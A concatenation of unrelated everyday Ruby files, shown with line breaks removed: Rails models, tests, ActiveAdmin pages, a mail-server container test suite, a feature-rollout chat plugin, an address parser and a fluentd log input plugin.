arrays.each do |array| fill_in "job[#{array}]", with: job.send(array).join(', ') end checkboxes.each do |checkbox| name = "job[#{checkbox}]" job.send(checkbox) ? check(name) : uncheck(name) end click_button 'Save' end def validate_job_in_table job within get_html_id(job) do %w{title location compensation_summary}.each do |attribute| expect(page).to have_content(job.send(attribute)) end expect(page).to have_link('Angellist', href: job.angellist_url) unless job.angellist_url.blank? end end def validate_last_job_in_db job job_in_db = Job.last job_attributes.each do |attribute| if job_in_db.send(attribute).blank? # nil or "" are the same for our purposes byebug if job_in_db.send(attribute).blank? != job.send(attribute).blank? expect(job_in_db.send(attribute).blank?).to eq(job.send(attribute).blank?) else expect(job_in_db.send(attribute)).to eq(job.send(attribute)) end end end def job_attributes @job.attributes.keys - %w{id created_at updated_at} end end
require "serverspec" require "docker" require "timeout" require "net/smtp" require "net/imap" require "pry" describe "Subliminal Mail Container" do before :all do puts "Starting container" image = Docker::Image.build_from_dir(".") container_opts = { Image: image.id, Entrypoint: ["bash", "-c", "/test.sh"], ExposedPorts: { "25/tcp" => {}, "143/tcp" => {}, "587/tcp" => {} }, HostConfig: { PortBindings: { "25/tcp" => [{ "HostPort" => "2500"}], "143/tcp" => [{ "HostPort" => "1430"}], "587/tcp" => [{ "HostPort" => "5870"}], } }, Env: [ "SUBLIMIA_MAIL_DOMAINS=test.com", "SUBLIMIA_MAIL_USER_1=test@test.com:test", ] } @container = Docker::Container.create(container_opts) @container.archive_in(["spec/fixtures/dhparams.pem"], "/etc/sublimia/") @container.start set :os, family: :alpine set :backend, :docker set :docker_container, @container.id end after :all do @container.stop @container.delete end before :context do puts "Waiting for container" Timeout::timeout(10) do command("while [ ! -f /.ready ]; do sleep 1; done").exit_status end end describe "SMTP Service" do it "listens on port 25" do expect(port(25)).to be_listening end it "listens on port 587" do expect(port(587)).to be_listening end it "does starttls" do Net::SMTP.start("localhost", 5870) do |smtp| expect(smtp).to be_capable_starttls end end it "does not support auth before starttls" do Net::SMTP.start("localhost", 5870) do |smtp| expect(smtp).to_not be_capable_plain_auth end end it "supports plain auth after starttls" do client = Net::SMTP.new("localhost", 5870) client.enable_starttls client.start("helo") do |smtp| expect(smtp).to be_capable_plain_auth end end it "authenticates a client" do client = Net::SMTP.new("localhost", 5870) client.enable_starttls client.start("helo") do |smtp| expect(smtp.auth_plain("test@test.com", "test")).to be_success end end end describe "IMAP service" do it "listens on port 143" do expect(port(143)).to be_listening end it "does starttls" do imap = Net::IMAP.new("localhost", port: 1430) expect(imap.capability).to include "STARTTLS" end it "does not support auth before starttls" do imap = Net::IMAP.new("localhost", port: 1430) expect(imap.capability).to include "LOGINDISABLED" end it "supports plain auth after starttls" do imap = Net::IMAP.new("localhost", port: 1430) imap.starttls({verify_mode: OpenSSL::SSL::VERIFY_NONE}) expect(imap.capability).to include "AUTH=PLAIN" end it "authenticates a client" do imap = Net::IMAP.new("localhost", port: 1430) imap.starttls({verify_mode: OpenSSL::SSL::VERIFY_NONE}) expect { imap.authenticate("PLAIN", "test@test.com", "test") }.to_not raise_error end end describe "Mail delivery" do let(:email) { File.read("spec/fixtures/email.txt") } it "works" do client = Net::SMTP.new("localhost", 2500) client.enable_starttls client.start("helo") do |smtp| smtp.send_message(email, "testjoe@test.com", "test@test.com") end sleep 1 imap = Net::IMAP.new("localhost", port: 1430) imap.starttls({verify_mode: OpenSSL::SSL::VERIFY_NONE}) imap.authenticate("PLAIN", "test@test.com", "test") imap.select("INBOX") expect(imap.search(["SUBJECT", "Test"])).to eq [1] end end end
ActiveAdmin.register Company do permit_params :name, :responsible_id, :customers_type, :timezone index do id_column column :name column :responsible do |c| c.responsible.full_name if c.responsible_id end column :timezone column :created_at column :customers_type do |c| Company.customers_types[c.customers_type] == 'regular' ? 'client' : Company.customers_types[c.customers_type] end end show do attributes_table do row :id row :name row :responsible_id row :timezone row :created_at row :updated_at row :has_funds row :has_pip_features end end filter :name filter :responsible_id, label: 'Responsible', as: :select, collection: proc { User.all.order('first_name, last_name').map{|p| [p.full_name, p.id]} } filter :updated_at filter :customers_type, as: :select, collection: Company.customers_types.to_a.map{|u| [u[1], u[0]]} form do |f| f.inputs do f.input :name f.input :responsible_id, label: 'Responsible', as: :select, collection: company.users.order('first_name, last_name').map{|p| [p.full_name, p.id]} f.input :timezone, as: :time_zone, label: 'Time Zone', priority_zones: ActiveSupport::TimeZone.us_zones f.input :customers_type, as: :select, collection: Company.customers_types.to_a.map{|u| [ ( u[1] == 'regular' ? 'client' : u[1]) , u[0] ]} end f.actions end member_action :users do @company = Company.find(params[:id]) end member_action :save_users, method: :post do company = Company.find(params[:id]) company.user_ids = params[:company][:user_ids] redirect_to admin_company_path(params[:id]) end end
# -*- coding: utf-8 -*- require 'rubygems' require 'graphviz' $:.unshift(File.join(File.dirname(__FILE__), '..', 'lib')) require 'similarity' =begin This example shows how to generate diagrams such as those produced by Stray and Burgess in: http://jonathanstray.com/a-full-text-visualization-of-the-iraq-war-logs It uses the Ruby Graphviz library and the similarity gem =end # First we define a corpus to hold the documents corpus = Corpus.new # Now we add documents to the corpus. Here we're using a few headlines # from the BBC News RSS feed. headlines = [ "Broad powers for hacking inquiry", "UK unemployment level falls again", "NI riots leads to 26 arrests", "IMF urges spending cuts in Italy", "UK ticket wins ยฃ161m Euromillions", "EU proposal to save fish stocks", "Pilots cleared by Chinook report", "Briton dies in Greece 'stabbing'", "'Spy' committee calls for reforms", "UK charities step up Somalia aid" ] headlines.each do |headline| # create a document object from the headline document = Document.new(:content => headline) # add the document to the corpus corpus << document end # Print a count of unique terms extracted from the documents puts "Total number of items in the corpus: #{corpus.terms.size}" # Generate a GraphViz graph to hold the results g = GraphViz.new( :G, :type => :graph ) # Calculate the similarity matrix similarity_matrix = corpus.similarity_matrix documents = corpus.documents # Calculate the similarity pairs between all the documents documents.each_with_index do |doc1, index1| documents.each_with_index do |doc2, index2| if index1 > index2 # we only need to calculate each pair once # The similarity between doc1 and doc2 similarity = similarity_matrix[index1, index2] # The top three weighted terms are used as labels doc1_weights = corpus.weights(doc1) doc2_weights = corpus.weights(doc2) # create the nodes, label them and add an edge with a weight # equal to the similarity. We'll include all the nodes as this # is a small graph, but you may want to set a threshold on # similarity. node1_label = doc1_weights[0..2].map {|pair| pair.first}.join(" ") node2_label = doc2_weights[0..2].map {|pair| pair.first} node1 = g.add_node( doc1.id.to_s, "label" => "#{node1_label}" ) node2 = g.add_node( doc2.id.to_s, "label" => "#{node2_label}" ) g.add_edge(node1, node2, "weight" => similarity) end end end # Output the final graph in DOT format to the current directory. Gephi # will read this format, or you can use the graphviz tool chain. g.output(:none => "graph.dot")
# encoding: utf-8 require 'redis' require 'rollout' # Rollout requires a "user object" class FakeUser < Struct.new(:id); end class Plugin::Rollout < Plugin # # Config variables: # # rollout.redis.host - The redis instance we should connect to. Defaults # to Redis.new i.e. localhost # # Add routes def add_routes(rp, opts) # โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–„โ–„โ–„โ–„โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–„โ–„โ–„โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘ # # โ–ˆโ–ˆโ–ˆโ–ˆโ–„โ–€โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–€โ–€โ–€โ–€โ–€โ–€โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–€โ–„โ–ˆโ–ˆโ–ˆโ–ˆ # # โ–€โ–ˆโ–ˆโ–ˆโ–ˆโ–‘โ–€โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–„โ–„โ–‘โ–‘โ–‘โ–‘โ–„โ–„โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–€โ–‘โ–ˆโ–ˆโ–ˆโ–ˆโ–€ # # โ–‘โ–ˆโ–ˆโ–ˆโ–€โ–€โ–ˆโ–„โ–„โ–‘โ–€โ–€โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–€โ–€โ–‘โ–„โ–„โ–ˆโ–€โ–€โ–ˆโ–ˆโ–ˆโ–‘ # # โ–‘โ–ˆโ–ˆโ–ˆโ–ˆโ–„โ–„โ–„โ–€โ–€โ–ˆโ–„โ–‘โ–‘โ–‘โ–€โ–€โ–€โ–€โ–‘โ–‘โ–‘โ–„โ–ˆโ–€โ–€โ–„โ–„โ–„โ–ˆโ–ˆโ–ˆโ–ˆโ–‘ # # โ–‘โ–‘โ–ˆโ–ˆโ–„โ–„โ–‘โ–€โ–€โ–ˆโ–ˆโ–ˆโ–ˆโ–‘โ–ˆโ–ˆโ–„โ–„โ–ˆโ–ˆโ–‘โ–ˆโ–ˆโ–ˆโ–ˆโ–€โ–€โ–‘โ–„โ–„โ–ˆโ–ˆโ–‘โ–‘ # # โ–‘โ–‘โ–‘โ–€โ–ˆโ–ˆโ–ˆโ–ˆโ–„โ–„โ–„โ–ˆโ–ˆโ–‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–‘โ–ˆโ–ˆโ–„โ–„โ–„โ–ˆโ–ˆโ–ˆโ–ˆโ–€โ–‘โ–‘โ–‘ # # โ–‘โ–‘โ–ˆโ–ˆโ–„โ–€โ–€โ–€โ–€โ–€โ–€โ–€โ–€โ–‘โ–‘โ–ˆโ–ˆโ–ˆโ–ˆโ–‘โ–‘โ–€โ–€โ–€โ–€โ–€โ–€โ–€โ–€โ–„โ–ˆโ–ˆโ–‘โ–‘ # # โ–‘โ–‘โ–‘โ–ˆโ–ˆโ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–ˆโ–ˆโ–ˆโ–ˆโ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–ˆโ–ˆโ–‘โ–‘โ–‘ # # โ–‘โ–‘โ–‘โ–ˆโ–ˆโ–ˆโ–„โ–„โ–‘โ–‘โ–‘โ–‘โ–„โ–ˆโ–‘โ–ˆโ–ˆโ–ˆโ–ˆโ–‘โ–ˆโ–„โ–‘โ–‘โ–‘โ–‘โ–„โ–„โ–ˆโ–ˆโ–ˆโ–‘โ–‘โ–‘ # # โ–‘โ–‘โ–‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–‘โ–ˆโ–ˆโ–ˆโ–‘โ–ˆโ–ˆโ–ˆโ–ˆโ–‘โ–ˆโ–ˆโ–ˆโ–‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–‘โ–‘โ–‘ # # โ–‘โ–‘โ–‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–‘โ–ˆโ–ˆโ–ˆโ–‘โ–ˆโ–ˆโ–ˆโ–ˆโ–‘โ–ˆโ–ˆโ–ˆโ–‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–‘โ–‘โ–‘ # # โ–‘โ–‘โ–‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–‘โ–ˆโ–ˆโ–ˆโ–‘โ–€โ–€โ–€โ–€โ–‘โ–ˆโ–ˆโ–ˆโ–‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–‘โ–‘โ–‘ # # โ–‘โ–‘โ–‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–‘โ–‘โ–‘ # # โ–‘โ–‘โ–‘โ–‘โ–€โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–‘โ–ˆโ–ˆโ–ˆโ–‘โ–„โ–„โ–„โ–„โ–‘โ–ˆโ–ˆโ–ˆโ–‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–€โ–‘โ–‘โ–‘โ–‘ # # โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–€โ–€โ–‘โ–ˆโ–ˆโ–€โ–„โ–ˆโ–ˆโ–ˆโ–ˆโ–„โ–‘โ–ˆโ–ˆโ–‘โ–€โ–€โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘ # # โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–€โ–‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–‘โ–€โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘ # # AUTOBOTS - ROLL OUT! # rollout! rp.rollout do rollouts = {:production => @rollout, :staging => @rollout_staging} # Query the current status of a feature rp.route /info (?<feature>[.\w-]+)\s*(?<env>\w+)?$/ do |act| with_rollout(act) do |ro| act.paste ro.get(act.feature.to_sym).to_hash.to_s end end # Activate/Deactivate groups rp.route /activate_group (?<feature>[.\w-]+) (?<group>[\w\.@]+)\s*(?<env>\w+)?$/ do |act| with_rollout(act) do |ro| rollout_op(act){ro.activate_group(act.feature.to_sym, act.group.to_sym)} act.paste ro.get(act.feature.to_sym).to_hash.to_s end end rp.route /deactivate_group (?<feature>[.\w-]+) (?<group>[\w\.@]+)\s*(?<env>\w+)?$/ do |act| with_rollout(act) do |ro| rollout_op(act){ro.deactivate_group(act.feature.to_sym, act.group.to_sym)} act.paste ro.get(act.feature.to_sym).to_hash.to_s end end # Activate/Deactivate users rp.route /activate_user (?<feature>[.\w-]+) (?<user_id>\d+)\s*(?<env>\w+)?$/ do |act| with_rollout(act) do |ro| rollout_op(act){ro.activate_user(act.feature.to_sym, FakeUser.new(act.user_id))} act.paste ro.get(act.feature.to_sym).to_hash.to_s end end rp.route /deactivate_user (?<feature>[.\w-]+) (?<user_id>\d+)\s*(?<env>\w+)?$/ do |act| with_rollout(act) do |ro| rollout_op(act){ro.deactivate_user(act.feature.to_sym, FakeUser.new(act.user_id))} act.paste ro.get(act.feature.to_sym).to_hash.to_s end end rp.route /percentage (?<feature>[.\w-]+) (?<percentage>\d+)\s*(?<env>\w+)?$/ do |act| with_rollout(act) do |ro| pct = Integer(act.percentage) if pct < 0 or pct > 100 act.say "#{pct} is an invalid percentage" break end rollout_op(act){ ro.activate_percentage(act.feature.to_sym, pct) } act.paste ro.get(act.feature.to_sym).to_hash.to_s end end end end private def with_rollout(act) env = (act.env == nil ? :production : act.env.to_sym) ro = @rollouts[env] if !ro act.paste "No rollout for environment #{env} found. Known environments: #{@rollouts.keys.inspect}" return end yield ro if block_given? end def rollout! if Twke::Conf.get("rollout.zookeeper.enabled") rollout_zk! else rollout_redis! end end def rollout_zk! @rollouts = {} @rollouts[:production] = make_rollout(Twke::Conf.get("rollout.zookeeper.hosts")) Twke::Conf.list("rollout.zookeeper.hosts").each do |suffix| @rollouts[suffix.to_sym] = make_rollout(Twke::Conf.get("rollout.zookeeper.hosts.#{suffix}")) end end # makes a new rollout and returns it def make_rollout(zk_hosts) zk_node = Twke::Conf.get("rollout.zookeeper.node") || "/rollout/users" if zk_hosts zookeeper = ZK.new(zk_hosts) else zookeeper = ZK.new end storage = ::Rollout::Zookeeper::Storage.new(zookeeper, zk_node) ::Rollout.new(storage) end def rollout_redis! redis_host = Twke::Conf.get("rollout.redis.host") if redis_host host, port = redis_host.split(':') @redis = Redis.new(:host => host, :port => port, :driver => :synchrony) else @redis = Redis.new end @rollout = ::Rollout.new(@redis) end def rollout_op(act) if yield act.say "Succeeded." else act.say "Failed!" end end end
require 'rspec/expectations' require 'selenium-webdriver' require_relative './pages/login_page' require_relative './pages/patient_search' require_relative './pages/basic_page' require_relative './pages/cover_sheet_page' World(RSpec::Matchers) World(PageObject::PageFactory) Given (/^The user confirms to "(.*?)" meds review/) \ do |patientName| page = PatientSearchPage.new @browser, true page.patient_search_input_element.wait_until do page.patient_search_input = patientName expect(page.patient_search_input).to eql patientName page.patient_search_input_element.send_keys [:enter] end page_load_wait = Selenium::WebDriver::Wait.new('timeout' => '60') page_load_wait.until { page.text.include?(patientName.upcase) } page.div_element('class' => 'list-group').link_element.click page.wait_until(10, 'Patient Name not found on page') do expect(page.confirmation_button_element.visible?).to be true end sleep 3 page.confirmation_button_element.click sleep 1 end When (/^user selects the meds review from the drop-down list/) do \ page = CoverSheetPage.new @browser, false page.wait_until(5, 'Patient Name not found on page')do expect(page.screenName_element.visible?).to be true page.screenName_element.click end page.wait_until(5, 'Patient Name not found on page') do expect(page.medicationreviewbutton_element.visible?).to be true expect(page.medicationreviewbutton_element.link_element.visible?).to be true end page.medicationreviewbutton_element.link_element.click end Then (/^clinician is able to see the combined view/) do \ page = CoverSheetPage.new @browser page.wait_until(5, 'Patient Name not found on page')do expect(page.med_Group_Type_element.visible?).to be true page.med_Group_Type_element.click end end
class Section < ApplicationRecord validates :name, presence: true, uniqueness: true validates :shelf_id, presence: true has_many :food_items belongs_to :shelf end
class LuxeWagon < Wagon validates :lower_places, presence: true, numericality: { only_integer: true } end
class CreateHotels < ActiveRecord::Migration[5.2] def change create_table :hotels do |t| t.string :name, null: false t.string :address t.attachment :picture t.float :single_bedroom_price, null: false, default: 0.0 t.float :double_bedroom_price, null: false, default: 0.0 t.float :suite_room_price, null: false, default: 0.0 t.float :dormitory_room_price, null: false, default: 0.0 t.integer :single_bedroom_num, null: false, default: 0 t.integer :double_bedroom_num, null: false, default: 0 t.integer :suite_room_num, null: false, default: 0 t.integer :dormitory_room_num, null: false, default: 0 t.float :latitude, null: false, default: 0.0 t.float :longitude, null: false, default: 0.0 t.float :price, null: false, default: 0.0 t.timestamps end end end
require 'test_helper' class UserTest < ActiveSupport::TestCase setup do @user = users :john end test 'should be valid' do assert @user.valid? end test 'name should be present' do @user.name = '' assert @user.invalid?, 'Name is blank' end test 'name should not be longer than 50 characters' do @user.name = 'a' * 50 assert @user.valid? @user.name += 'a' assert @user.invalid?, 'A name longer than 50 letters is accepted' end test 'surname should be present' do @user.surname = '' assert @user.invalid?, 'Surname is blank' end test 'surname should not be longer than 50 characters' do @user.surname = 'a' * 50 assert @user.valid? @user.surname += 'a' assert @user.invalid?, 'A surname longer than 50 letters is accepted' end test 'email should be present' do @user.email = '' assert @user.invalid?, 'Email is blank' end test 'email should not be longer than 255 characters' do @user.email = 'a' * 243 + '@example.com' assert @user.valid? @user.email = 'a' + @user.email assert @user.invalid?, 'An email longer than 255 letters is accepted' end test 'valid email addresses should be accepted' do valid_emails = %w[ user@example.com USER@example.com A-US_ER@foo.bar.org first.last@foo.jp pejo+pesho@spam.com ] valid_emails.each do |email| @user.email = email assert @user.valid?, "Valid email (#{email}) address is not accepted" end end test 'invalid email addresses should be accepted' do invalid_emails = %w[ user@example,com user_at_example.com user.name@example. foo@bar_baz.com foo@bar..com foo@bar+baz.com ] invalid_emails.each do |email| @user.email = email assert @user.invalid?, "Invalid email (#{email}) address is accepted" end end test 'email should be unique' do duplicate_user = @user.dup @user.save assert_not duplicate_user.valid? end test 'email address should be saved as lower-case' do mixed_case_email = 'Foo@EXAMPLE.cOm' @user.email = mixed_case_email @user.save assert_equal mixed_case_email.downcase, @user.reload.email end test 'should not have a biography' do assert @user.valid? assert_nil @user.biography @user.biography = 'Hello World' assert_not_nil @user.biography assert_not @user.valid?, @user.biography end test 'password should be present' do @user.password = @user.password_confirmation = ' ' * 8 assert @user.invalid?, 'Password is not present' end test 'password should be at least 8 characters long' do @user.password = @user.password_confirmation = 'a' * 7 assert @user.invalid?, 'Password under 8 characters is accepted' @user.password = @user.password_confirmation = 'a' * 8 assert @user.valid? end test 'authenticated? should return false for a user with nil digest' do assert_not @user.authenticated?(:remember, '') end test 'full_name returns a concatenation of the first and last names' do full_name = "#{@user.name} #{@user.surname}" assert_equal full_name, @user.full_name end test 'reset token should expire after two hours' do @user.create_reset_digest assert_not @user.password_reset_expired? travel 2.hours assert_not @user.password_reset_expired? travel 1.seconds assert @user.password_reset_expired? end test 'should be able to send an activation email' do clear_deliveries @user.send(:create_activation_digest) assert_difference 'ActionMailer::Base.deliveries.size', 1 do @user.send_activation_email end end test 'should be able to send a password reset email' do clear_deliveries @user.create_reset_digest assert_difference 'ActionMailer::Base.deliveries.size', 1 do @user.send_password_reset_email end end end
ActiveAdmin.register Dog do #:prompt => 'Selecione' form multipart: true do |f| f.inputs do f.input :father, :prompt => 'Selecione', :collection => Dog.where("male = true") f.input :mother, :prompt => 'Selecione', :collection => Dog.where("male = false") f.input :birth_date f.input :race, :prompt => 'Selecione' f.input :male, as: :select, :prompt => "Selecione", :selected => "true", collection: [['Macho', 'true'], ['Femea', 'false']] f.input :name if !f.object.avatar_file_name f.input :avatar, :hint => f.template.content_tag(:span, "") else f.input :avatar, :hint => f.template.image_tag(f.object.avatar.url(:thumb)) end end f.actions end index do selectable_column column :id column :name column :race column(:male) { |foo| if foo.male then raw("macho") else raw("femea") end} column :birth_date column(:sold) { |foo| if foo.sold then raw("sim") else raw("nao") end} default_actions end filter :father filter :mother filter :race #filter :male, as: :select, :label => "Sex" filter :male, as: :select, :label => "Sexo", collection: [['Macho', 'true'], ['Femea', 'false']] filter :birth_date filter :sold, as: :select, :label => "Vendido", collection: [['Sim', 'true'], ['Nao', 'false']] filter :name show do attributes_table do row :race row(:male) { |foo| if foo.male then raw("macho") else raw("femea") end} row :name row :avatar do if dog.avatar_file_name image_tag dog.avatar.url(:thumb), :data => { :original => dog.avatar.url(:original)} end end row :birth_date row(:sold) { |foo| if foo.sold then raw("sim") else raw("nao") end} end #active_admin_comments end #action to auto complete the dog's race while you create a new dog. collection_action :parents_race, :method => :post do @object = Dog.find(params[:target]).race respond_to do |format| #format.html format.json { render json: @object} end end end
# encoding: utf-8 module TextUtils module AddressHelper def normalize_addr( old_address, country_key=nil ) # for now only checks german (de) 5-digit zip code and # austrian (at) 4-digit zip code # # e.g. Alte Plauener StraรŸe 24 // 95028 Hof becomes # 95028 Hof // Alte Plauener StraรŸe 24 if country_key.nil? puts "TextUtils.normalize_addr drepreciated call - country_key now required; please add !!" return old_address end new_address = old_address # default - do nothing - just path through lines = old_address.split( '//' ) if lines.size == 2 # two lines / check for switching lines line1 = lines[0].strip line2 = lines[1].strip regex_nnnn = /^[0-9]{4}\s+/ # four digits postal code regex_nnnnn = /^[0-9]{5}\s+/ # five digits postal code if (country_key == 'at' && line2 =~ regex_nnnn ) || (country_key == 'de' && line2 =~ regex_nnnnn ) new_address = "#{line2} // #{line1}" end end new_address end def find_city_in_addr_without_postal_code( address ) ## general rule; not country-specific; no postal code/zip code or state # - must be like two lines (one line empty) e.g. # // London or # London // # will assume entry is city # note: city may NOT include numbers, or pipe (|) or comma (,) chars # fix: use blank? return nil if address.nil? || address.empty? # do NOT process nil or empty address lines; sorry old_lines = address.split( '//' ) ### # note: London // will get split into arry with size 1 e.g. ['London '] # support it, that is, add missing empty line # 1) strip lines # 2) remove blank lines lines = [] old_lines.each do |line| linec = line.strip next if linec.empty? lines << linec end if lines.size == 1 linec = lines[0] # note: city may NOT include # numbers (e.g. assumes zip/postal code etc.) or # pipe (|) or # comma (,) if linec =~ /[0-9|,]/ return nil end # more than two uppercase letters e.g. TX NY etc. # check if city exists wit tow uppercase letters?? if linec =~ /[A-Z]{2,}/ return nil end return linec # bingo!!! assume candidate line is a city name end nil # no generic city match found end def find_city_in_addr_with_postal_code( address, country_key ) # fix: use blank? return nil if address.nil? || address.empty? # do NOT process nil or empty address lines; sorry lines = address.split( '//' ) if country_key == 'at' || country_key == 'be' # support for now # - 2018 Antwerpen or 2870 Breendonk-Puurs (be) lines.each do |line| linec = line.strip regex_nnnn = /^[0-9]{4}\s+/ if linec =~ regex_nnnn # must start w/ four digit postal code ? assume its the city line return linec.sub( regex_nnnn, '' ) # cut off leading postal code; assume rest is city end end elsif country_key == 'de' lines.each do |line| linec = line.strip regex_nnnnn = /^[0-9]{5}\s+/ if linec =~ regex_nnnnn # must start w/ five digit postal code ? assume its the city line return linec.sub( regex_nnnnn, '' ) # cut off leading postal code; assume rest is city end end elsif country_key == 'cz' || country_key == 'sk' # support for now # - 284 15 Kutnรก Hora or 288 25 Nymburk (cz) # - 036 42 Martin or 974 05 Banskรก Bystrica (sk) lines.each do |line| linec = line.strip regex_nnn_nn = /^[0-9]{3}\s[0-9]{2}\s+/ if linec =~ regex_nnn_nn # must start w/ five digit postal code ? assume its the city line return linec.sub( regex_nnn_nn, '' ) # cut off leading postal code; assume rest is city end end elsif country_key == 'us' # support for now # - Brooklyn | NY 11249 or Brooklyn, NY 11249 # - Brooklyn | NY or Brooklyn, NY lines.each do |line| linec = line.strip regexes_us = [/\s*[|,]\s+[A-Z]{2}\s+[0-9]{5}\s*$/, /\s*[|,]\s+[A-Z]{2}\s*$/] regexes_us.each do |regex| if linec =~ regex return linec.sub( regex, '' ) # cut off leading postal code; assume rest is city end end end else # unsupported country/address schema for now; sorry end return nil # sorry nothing found end def find_city_in_addr( address, country_key ) # fix: use blank? return nil if address.nil? || address.empty? # do NOT process nil or empty address lines; sorry ## try geneneric rule first (e.g. w/o postal code/zip code or state), see above city = find_city_in_addr_without_postal_code( address ) return city unless city.nil? city = find_city_in_addr_with_postal_code( address, country_key ) return city unless city.nil? nil # sorry; no city found (using known patterns) end end # module AddressHelper end # module TextUtils
require 'fluent/plugin/in_http' require_relative 'logplex' module Fluent class HerokuSyslogHttpInput < HttpInput Plugin.register_input('heroku_syslog_http', self) include Logplex config_param :format, :string, :default => SYSLOG_HTTP_REGEXP config_param :drain_ids, :array, :default => nil private def parse_params_with_parser(params) if content = params[EVENT_RECORD_PARAMETER] records = [] messages = content.split("\n") messages.each do |msg| @parser.parse(msg) { |time, record| raise "Received event is not #{@format}: #{content}" if record.nil? record["time"] ||= time parse_logplex(record, params) unless @drain_ids.nil? || @drain_ids.include?(record['drain_id']) log.warn "drain_id not match: #{msg.inspect}" next end records << record } end return nil, records else raise "'#{EVENT_RECORD_PARAMETER}' parameter is required" end end end end